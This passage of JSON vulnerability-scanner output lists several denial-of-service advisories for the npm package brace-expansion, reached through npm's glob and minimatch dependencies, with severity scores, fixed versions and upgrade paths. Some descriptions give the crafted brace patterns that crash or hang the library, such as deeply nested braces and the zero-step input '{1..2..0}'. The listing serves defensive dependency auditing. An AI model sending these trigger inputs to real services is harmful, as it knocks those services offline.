"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
